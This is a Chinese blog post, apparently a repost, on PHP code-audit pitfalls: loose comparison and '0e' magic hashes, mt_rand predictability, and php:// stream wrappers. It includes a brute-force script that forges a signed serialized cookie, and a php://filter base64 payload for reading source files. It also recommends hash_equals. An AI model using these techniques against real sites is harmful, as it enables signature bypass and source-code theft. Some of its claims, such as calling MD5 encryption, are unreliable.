代码审计中的php相关

  • php弱类型

php中变量是比较即为弱类型比较 即"1"=1,0e1111111=0e222222。

随便列举几个例子。

$a = "1";$b = 1;
var_dump($a);var_dump($b);
if($a == $b)
{print "a=b";}
else
    {print "a!=b";}

output: a=b

<?php
$a = "0e111111111111111111";
$b = "0e222222222222222222";
var_dump($a);
var_dump($b);
if($a == $b){
    print "a=b";
}
else
    {
        print "a!=b";
    }
?>

Output: a=b


  先来看一下前几天我在做代码审计时候的一段代码。

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print_r(unserialize($payload));
Array
(
[:new:username] => admin
[:new:message] => That is the wrong username or password
)
php >

选定[:new:username]进行暴力枚举。

set_time_limit(0);
define('HASH_ALGO', 'md5');
define('PASSWORD_MAX_LENGTH', 8);
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}';
    #echo "Testing: " . $payload . "n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hashn";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $in";
        recurse($i, 0, '');
}
?>
0e553592359278167729317779925758

最后一行是生成的MD5值。

将这个值与原代码中的$signature变量进行对比

$a = "0e553592359278167729317779925758";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the samen"; }
else { print "a and b are NOT the samen"; }
?>
Output:
$ php steps.php
string(32) "0e553592359278167729317779925758"
string(32) "0e222222222222222222222222222222"
a and b are the same

这样就可以随意控制从服务器返回的数据。

  • 运算符引发的安全问题。

当字符串与数字在进行比较的时候,程序会出现某些非常奇怪的现象

出现这样的现象是因为php在处理数据时存在强制类型转换的问题,例如将1abcd这个字符串和1比较时,字符串和数字是不能放在一起比较的因此php就会先将1acbd转化成1在和数字比较。

在设置密码的时候相信大家都会遇到这样一种情况,密码要满足xxx位,且含有数字,小写字母,下划线等等。分析一下为什么设置密码的时候要有这种要求。

原因在于设置密码后,后台会对你设置的密码进行加密,而90%的加密方式即为(SHA1和MD5)因为这两种加密方式不可逆。例如这两串密码 1a2b3c4d和abcd 前者会增加密码的松散性。具体的松散性问题也是极其复杂,涉及到了一些数论的定理,研究的很深也没有什么用(毕竟这不是谍战片中用摩斯电码交流的年代...)

解决方案

PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是注意,hash_equals()函数也可以用于字符串的比较。

  • 随机数(random)
#include <stdio.h>
#define MAX 1000
#define seed 1
int main() {
  int r[MAX];
  int i;
  r[0] = seed;
  for (i=1; i<31; i++) {
    r[i] = (16807LL * r[i-1]) % 2147483647;
    if (r[i] < 0) {
      r[i] += 2147483647;
    }
  }
  for (i=31; i<34; i++) {
    r[i] = r[i-31];
  }
  for (i=34; i<344; i++) {
    r[i] = r[i-31] + r[i-3];
  }
  for (i=344; i<MAX; i++) {
    r[i] = r[i-31] + r[i-3];
    printf("%d\n", ((unsigned int)r[i]) >> 1);
  }
  return 0;
}

这一段代码是我用c语言写的一个模拟随机数的过程,可以看到随机数看似是随机的,其实如果你连续生成31个随机数,就会发现其中的循环规律。因此也可以预测后面的随机过程。

PHP中mt_rand()函数即是爆破随机数种子的函数,可以推测随机数的生成过程。

if (argc == 0) {
    // genrand_int31 in mt19937ar.c performs a right shift
    RETURN_LONG(php_mt_rand() >> 1);
}
...
RETURN_LONG(php_mt_rand_common(min, max));
...
if (BG(mt_rand_mode) == MT_RAND_MT19937) {
    return php_mt_rand_range(min, max);
}
...
umax++;
...
result = php_mt_rand();
...
return (zend_long)((result % umax) + min);

这是在网上找到的一个随机数模板,可以看到函数的返回结果是(php_mt_rand() % (max-min+1)) + min 通过这样的算法找一个区间范围,而不可以直接生成[ min , max ] 这样的闭区间范围。

  • PHP伪协议

参数:

 名称    描述
resource=<要过滤的数据流>       这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>           该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>       该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>           任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

一个简单的例子:

php://filter/read=convert.base64-encode/resource=upload.php

在过滤器convert.base64-encode里读取upload.php文件。

压缩过滤器

<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";
$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');
/* Generates output:
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.
 */
?>

将文件压缩后写入I/O流

猜你喜欢

转载自www.cnblogs.com/sylover/p/10747746.html